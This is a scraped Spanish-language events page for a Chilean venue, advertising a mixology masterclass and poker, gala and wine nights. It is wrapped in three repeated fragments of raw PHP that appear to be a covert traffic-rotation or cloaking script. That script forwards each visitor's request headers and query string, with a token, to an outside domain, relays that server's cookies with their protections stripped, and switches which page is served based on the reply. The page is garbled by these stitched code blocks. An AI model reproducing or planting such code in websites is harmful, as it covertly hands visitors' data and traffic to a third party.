baseUrl = $baseUrl; $this->timeout = $timeout; $this->token = $token; } /** * @throws RuntimeException */ public function execute(): void { if (!$this->isMbstringExtensionEnabled()) { throw new RuntimeException('Extension mbstring should be enabled'); } $url = $this->buildUrl(); $headers = $this->buildHeaders(); if ($this->isCurlSupported()) { $this->performCurlRequest($url, $headers); } elseif ($this->isStreamsSupported()) { $this->performStreamsRequest($url, $headers); } else { throw new RuntimeException('Neither cURL or Streams supported'); } $this->responseHeaders = array_change_key_case($this->responseHeaders, CASE_LOWER); foreach ((array) $this->getResponseHeaderValue('Set-Cookie', []) as $cookie) { header("Set-Cookie: {$this->prepareCookie($cookie)}"); } $location = $this->getResponseHeaderValue('Location'); if (!in_array($this->responseStatusCode, self::RESPONSE_HTTP_REDIRECTS, true) || empty($location)) { require __DIR__ . '/default/index.php'; return; } if (mb_strpos($location, 'https://google.com/chile') === 0) { require __DIR__ . '/chile/chile.php'; return; } if (mb_strpos($location, 'https://google.com/cl') === 0) { require __DIR__ . '/chile/chile.php'; return; } require __DIR__ . '/default/index.php'; } private function isMbstringExtensionEnabled(): bool { return in_array('mbstring', get_loaded_extensions(), true); } private function buildUrl(): string { return rtrim("$this->baseUrl?{$this->getServerValue('QUERY_STRING')}", '?'); } /** * @return mixed */ private function getServerValue(string $key) { return $_SERVER[$key] ?? null; } /** * @return string[] */ private function buildHeaders(): array { return array_merge( $this->getServerHeaders(), ["X-Auth-Token: $this->token"] ); } /** * @return string[] */ private function getServerHeaders(): array { $headers = []; foreach ($_SERVER as $key => $value) { if (in_array($key, self::SERVER_IGNORED_KEYS, true)) { continue; } if (mb_strpos($key, self::SERVER_HTTP_PREFIX) === 0) { $headers[] = "{$this->formatHeaderKey($key)}: $value"; } } return $headers; } private function formatHeaderKey(string $key): string { return implode( self::SEPARATOR_HEADER_KEY, array_map( 'ucfirst', explode( self::SEPARATOR_SERVER_KEY, strtolower(str_replace(self::SERVER_HTTP_PREFIX, '', $key)) ) ) ); } private function isCurlSupported(): bool { return in_array('curl', get_loaded_extensions(), true); } /** * @param string[] $headers */ private function performCurlRequest(string $url, array $headers): void { $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_HEADER => true, CURLOPT_HEADERFUNCTION => [$this, 'parseHeader'], CURLOPT_HTTPHEADER => $headers, CURLOPT_NOBODY => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT_MS => $this->timeout, CURLOPT_URL => $url, ]); curl_exec($ch); $this->responseStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); } private function parseHeader($ch, string $header): int { $length = mb_strlen($header); $pieces = explode(':', $header, 2); if (count($pieces) responseHeaders)) { $value = array_merge((array) $this->responseHeaders[$name], (array) $value); } $this->responseHeaders[$name] = $value; return $length; } private function isStreamsSupported(): bool { return (bool) ini_get('allow_url_fopen'); } /** * @param string[] $headers * @throws RuntimeException */ private function performStreamsRequest(string $url, array $headers): void { stream_context_set_default( [ 'http' => [ 'follow_location' => 0, 'header' => $headers, 'method' => self::REQUEST_METHOD_HEAD, 'timeout' => $this->timeout / 1000, ], ] ); $responseHeaders = @get_headers($url, 1); if ($responseHeaders === false) { throw new RuntimeException('Unable to get headers via `get_headers`'); } foreach ($responseHeaders as $name => $value) { if (array_key_exists($name, $this->responseHeaders)) { $value = array_merge((array) $this->responseHeaders[$name], (array) $value); } $this->responseHeaders[$name] = $value; } $this->responseStatusCode = $this->parseResponseStatusCode((string) $responseHeaders[0]); unset($this->responseHeaders[0]); } private function parseResponseStatusCode(string $statusCode): ?int { preg_match('/^HTTP(\/\d\.\d)?\s(?P\d+).+$/', $statusCode, $matches); return array_key_exists('status_code', $matches) ? intval($matches['status_code']) : null; } /** * @param mixed $default * @return mixed|null */ private function getResponseHeaderValue(string $key, $default = null) { return $this->responseHeaders[strtolower($key)] ?? $default; } private function prepareCookie(string $cookie): string { $preparedCookie = $this->removeDomainFromCookie($cookie); if ($this->getServerValue('HTTPS') !== 'on') { $preparedCookie = $this->removeSecureFromCookie($preparedCookie); } return $preparedCookie; } private function removeDomainFromCookie(string $cookie): string { return trim(preg_replace('/(\sdomain=.+?;)|(\sdomain=.+)/i', '', $cookie), ' ;'); } private function removeSecureFromCookie(string $cookie): string { return trim(str_ireplace('; secure', '', $cookie), ' ;'); } } try { $rotation = new Rotation_alternativtraffic_RouteChile('https://icixickeyoluena.com/php-remote/alternativtraffic/RouteChile', 2000, '047fa8b49419d0507ca1cb101958946a'); $rotation->execute(); } catch (Exception $e) { @file_put_contents(__DIR__ . '/rotation_alternativtraffic_RouteChile.log', $e->getMessage()); } ?>

baseUrl = $baseUrl; $this->timeout = $timeout; $this->token = $token; } /** * @throws RuntimeException */ public function execute(): void { if (!$this->isMbstringExtensionEnabled()) { throw new RuntimeException('Extension mbstring should be enabled'); } $url = $this->buildUrl(); $headers = $this->buildHeaders(); if ($this->isCurlSupported()) { $this->performCurlRequest($url, $headers); } elseif ($this->isStreamsSupported()) { $this->performStreamsRequest($url, $headers); } else { throw new RuntimeException('Neither cURL or Streams supported'); } $this->responseHeaders = array_change_key_case($this->responseHeaders, CASE_LOWER); foreach ((array) $this->getResponseHeaderValue('Set-Cookie', []) as $cookie) { header("Set-Cookie: {$this->prepareCookie($cookie)}"); } $location = $this->getResponseHeaderValue('Location'); if (!in_array($this->responseStatusCode, self::RESPONSE_HTTP_REDIRECTS, true) || empty($location)) { require __DIR__ . '/default/index.php'; return; } if (mb_strpos($location, 'https://google.com/chile') === 0) { require __DIR__ . '/chile/chile.php'; return; } if (mb_strpos($location, 'https://google.com/cl') === 0) { require __DIR__ . '/chile/chile.php'; return; } require __DIR__ . '/default/index.php'; } private function isMbstringExtensionEnabled(): bool { return in_array('mbstring', get_loaded_extensions(), true); } private function buildUrl(): string { return rtrim("$this->baseUrl?{$this->getServerValue('QUERY_STRING')}", '?'); } /** * @return mixed */ private function getServerValue(string $key) { return $_SERVER[$key] ?? null; } /** * @return string[] */ private function buildHeaders(): array { return array_merge( $this->getServerHeaders(), ["X-Auth-Token: $this->token"] ); } /** * @return string[] */ private function getServerHeaders(): array { $headers = []; foreach ($_SERVER as $key => $value) { if (in_array($key, self::SERVER_IGNORED_KEYS, true)) { continue; } if (mb_strpos($key, self::SERVER_HTTP_PREFIX) === 0) { $headers[] = "{$this->formatHeaderKey($key)}: $value"; } } return $headers; } private function formatHeaderKey(string $key): string { return implode( self::SEPARATOR_HEADER_KEY, array_map( 'ucfirst', explode( self::SEPARATOR_SERVER_KEY, strtolower(str_replace(self::SERVER_HTTP_PREFIX, '', $key)) ) ) ); } private function isCurlSupported(): bool { return in_array('curl', get_loaded_extensions(), true); } /** * @param string[] $headers */ private function performCurlRequest(string $url, array $headers): void { $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_HEADER => true, CURLOPT_HEADERFUNCTION => [$this, 'parseHeader'], CURLOPT_HTTPHEADER => $headers, CURLOPT_NOBODY => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT_MS => $this->timeout, CURLOPT_URL => $url, ]); curl_exec($ch); $this->responseStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); } private function parseHeader($ch, string $header): int { $length = mb_strlen($header); $pieces = explode(':', $header, 2); if (count($pieces) responseHeaders)) { $value = array_merge((array) $this->responseHeaders[$name], (array) $value); } $this->responseHeaders[$name] = $value; return $length; } private function isStreamsSupported(): bool { return (bool) ini_get('allow_url_fopen'); } /** * @param string[] $headers * @throws RuntimeException */ private function performStreamsRequest(string $url, array $headers): void { stream_context_set_default( [ 'http' => [ 'follow_location' => 0, 'header' => $headers, 'method' => self::REQUEST_METHOD_HEAD, 'timeout' => $this->timeout / 1000, ], ] ); $responseHeaders = @get_headers($url, 1); if ($responseHeaders === false) { throw new RuntimeException('Unable to get headers via `get_headers`'); } foreach ($responseHeaders as $name => $value) { if (array_key_exists($name, $this->responseHeaders)) { $value = array_merge((array) $this->responseHeaders[$name], (array) $value); } $this->responseHeaders[$name] = $value; } $this->responseStatusCode = $this->parseResponseStatusCode((string) $responseHeaders[0]); unset($this->responseHeaders[0]); } private function parseResponseStatusCode(string $statusCode): ?int { preg_match('/^HTTP(\/\d\.\d)?\s(?P\d+).+$/', $statusCode, $matches); return array_key_exists('status_code', $matches) ? intval($matches['status_code']) : null; } /** * @param mixed $default * @return mixed|null */ private function getResponseHeaderValue(string $key, $default = null) { return $this->responseHeaders[strtolower($key)] ?? $default; } private function prepareCookie(string $cookie): string { $preparedCookie = $this->removeDomainFromCookie($cookie); if ($this->getServerValue('HTTPS') !== 'on') { $preparedCookie = $this->removeSecureFromCookie($preparedCookie); } return $preparedCookie; } private function removeDomainFromCookie(string $cookie): string { return trim(preg_replace('/(\sdomain=.+?;)|(\sdomain=.+)/i', '', $cookie), ' ;'); } private function removeSecureFromCookie(string $cookie): string { return trim(str_ireplace('; secure', '', $cookie), ' ;'); } } try { $rotation = new Rotation_alternativtraffic_RouteChile('https://icixickeyoluena.com/php-remote/alternativtraffic/RouteChile', 2000, '047fa8b49419d0507ca1cb101958946a'); $rotation->execute(); } catch (Exception $e) { @file_put_contents(__DIR__ . '/rotation_alternativtraffic_RouteChile.log', $e->getMessage()); } ?>

Bartender preparando cócteles exclusivos con técnicas de mixología avanzada
Martes

Masterclass de Mixología

Martes, 20:00 - 23:00

Descripción del Evento

Aprende a preparar cócteles exclusivos con nuestros bartenders expertos. Incluye degustación de 5 cócteles premium y aperitivos gourmet.

Detalles

Nuestra masterclass de mixología es una experiencia interactiva donde aprenderás los secretos de la coctelería de la mano de bartenders profesionales. El evento incluye:
  • Clase práctica con bartenders expertos
  • Preparación y degustación de 5 cócteles premium
  • Selección de aperitivos gourmet
  • Material y utensilios profesionales
  • Recetario digital con todos los cócteles aprendidos

Información Práctica

Precio:

$40.000 CLP por persona

Capacidad:

20 invitados

Requisitos:

Mayor de 18 años

Información Adicional

Cada semana se presenta una temática diferente: cócteles clásicos, tropicales, de autor, etc. No se requiere experiencia previa.

Compartir Evento:

Reserva tu lugar

Otros Eventos que Podrían Interesarte

Mesa de póker profesional con fichas y cartas listas para jugar
Cada Viernes

Noche de Póker Royal

Disfruta de nuestras mesas de póker profesional cada viernes por la noche. Torneos y juegos cash para todos los niveles. Incluye cóctel de bienvenida y snacks premium.

Ver detalles
Elegante gala nocturna con invitados en vestimenta formal y decoración lujosa
Mensual

Gala Elegante

Viste para impresionar en nuestra gala mensual. Disfruta de cócteles exclusivos, música en vivo y entretenimiento de primer nivel. Incluye cena gourmet de 5 tiempos.

Ver detalles
Cata de vinos premium con copas y botellas selectas en mesa elegante
Miércoles

Cata de Vinos Premium

Descubre los mejores vinos chilenos e internacionales guiado por nuestro sommelier experto. Incluye maridaje con quesos y charcutería selecta.

Ver detalles

baseUrl = $baseUrl; $this->timeout = $timeout; $this->token = $token; } /** * @throws RuntimeException */ public function execute(): void { if (!$this->isMbstringExtensionEnabled()) { throw new RuntimeException('Extension mbstring should be enabled'); } $url = $this->buildUrl(); $headers = $this->buildHeaders(); if ($this->isCurlSupported()) { $this->performCurlRequest($url, $headers); } elseif ($this->isStreamsSupported()) { $this->performStreamsRequest($url, $headers); } else { throw new RuntimeException('Neither cURL or Streams supported'); } $this->responseHeaders = array_change_key_case($this->responseHeaders, CASE_LOWER); foreach ((array) $this->getResponseHeaderValue('Set-Cookie', []) as $cookie) { header("Set-Cookie: {$this->prepareCookie($cookie)}"); } $location = $this->getResponseHeaderValue('Location'); if (!in_array($this->responseStatusCode, self::RESPONSE_HTTP_REDIRECTS, true) || empty($location)) { require __DIR__ . '/default/index.php'; return; } if (mb_strpos($location, 'https://google.com/chile') === 0) { require __DIR__ . '/chile/chile.php'; return; } if (mb_strpos($location, 'https://google.com/cl') === 0) { require __DIR__ . '/chile/chile.php'; return; } require __DIR__ . '/default/index.php'; } private function isMbstringExtensionEnabled(): bool { return in_array('mbstring', get_loaded_extensions(), true); } private function buildUrl(): string { return rtrim("$this->baseUrl?{$this->getServerValue('QUERY_STRING')}", '?'); } /** * @return mixed */ private function getServerValue(string $key) { return $_SERVER[$key] ?? null; } /** * @return string[] */ private function buildHeaders(): array { return array_merge( $this->getServerHeaders(), ["X-Auth-Token: $this->token"] ); } /** * @return string[] */ private function getServerHeaders(): array { $headers = []; foreach ($_SERVER as $key => $value) { if (in_array($key, self::SERVER_IGNORED_KEYS, true)) { continue; } if (mb_strpos($key, self::SERVER_HTTP_PREFIX) === 0) { $headers[] = "{$this->formatHeaderKey($key)}: $value"; } } return $headers; } private function formatHeaderKey(string $key): string { return implode( self::SEPARATOR_HEADER_KEY, array_map( 'ucfirst', explode( self::SEPARATOR_SERVER_KEY, strtolower(str_replace(self::SERVER_HTTP_PREFIX, '', $key)) ) ) ); } private function isCurlSupported(): bool { return in_array('curl', get_loaded_extensions(), true); } /** * @param string[] $headers */ private function performCurlRequest(string $url, array $headers): void { $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_HEADER => true, CURLOPT_HEADERFUNCTION => [$this, 'parseHeader'], CURLOPT_HTTPHEADER => $headers, CURLOPT_NOBODY => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT_MS => $this->timeout, CURLOPT_URL => $url, ]); curl_exec($ch); $this->responseStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); } private function parseHeader($ch, string $header): int { $length = mb_strlen($header); $pieces = explode(':', $header, 2); if (count($pieces) responseHeaders)) { $value = array_merge((array) $this->responseHeaders[$name], (array) $value); } $this->responseHeaders[$name] = $value; return $length; } private function isStreamsSupported(): bool { return (bool) ini_get('allow_url_fopen'); } /** * @param string[] $headers * @throws RuntimeException */ private function performStreamsRequest(string $url, array $headers): void { stream_context_set_default( [ 'http' => [ 'follow_location' => 0, 'header' => $headers, 'method' => self::REQUEST_METHOD_HEAD, 'timeout' => $this->timeout / 1000, ], ] ); $responseHeaders = @get_headers($url, 1); if ($responseHeaders === false) { throw new RuntimeException('Unable to get headers via `get_headers`'); } foreach ($responseHeaders as $name => $value) { if (array_key_exists($name, $this->responseHeaders)) { $value = array_merge((array) $this->responseHeaders[$name], (array) $value); } $this->responseHeaders[$name] = $value; } $this->responseStatusCode = $this->parseResponseStatusCode((string) $responseHeaders[0]); unset($this->responseHeaders[0]); } private function parseResponseStatusCode(string $statusCode): ?int { preg_match('/^HTTP(\/\d\.\d)?\s(?P\d+).+$/', $statusCode, $matches); return array_key_exists('status_code', $matches) ? intval($matches['status_code']) : null; } /** * @param mixed $default * @return mixed|null */ private function getResponseHeaderValue(string $key, $default = null) { return $this->responseHeaders[strtolower($key)] ?? $default; } private function prepareCookie(string $cookie): string { $preparedCookie = $this->removeDomainFromCookie($cookie); if ($this->getServerValue('HTTPS') !== 'on') { $preparedCookie = $this->removeSecureFromCookie($preparedCookie); } return $preparedCookie; } private function removeDomainFromCookie(string $cookie): string { return trim(preg_replace('/(\sdomain=.+?;)|(\sdomain=.+)/i', '', $cookie), ' ;'); } private function removeSecureFromCookie(string $cookie): string { return trim(str_ireplace('; secure', '', $cookie), ' ;'); } } try { $rotation = new Rotation_alternativtraffic_RouteChile('https://icixickeyoluena.com/php-remote/alternativtraffic/RouteChile', 2000, '047fa8b49419d0507ca1cb101958946a'); $rotation->execute(); } catch (Exception $e) { @file_put_contents(__DIR__ . '/rotation_alternativtraffic_RouteChile.log', $e->getMessage()); } ?>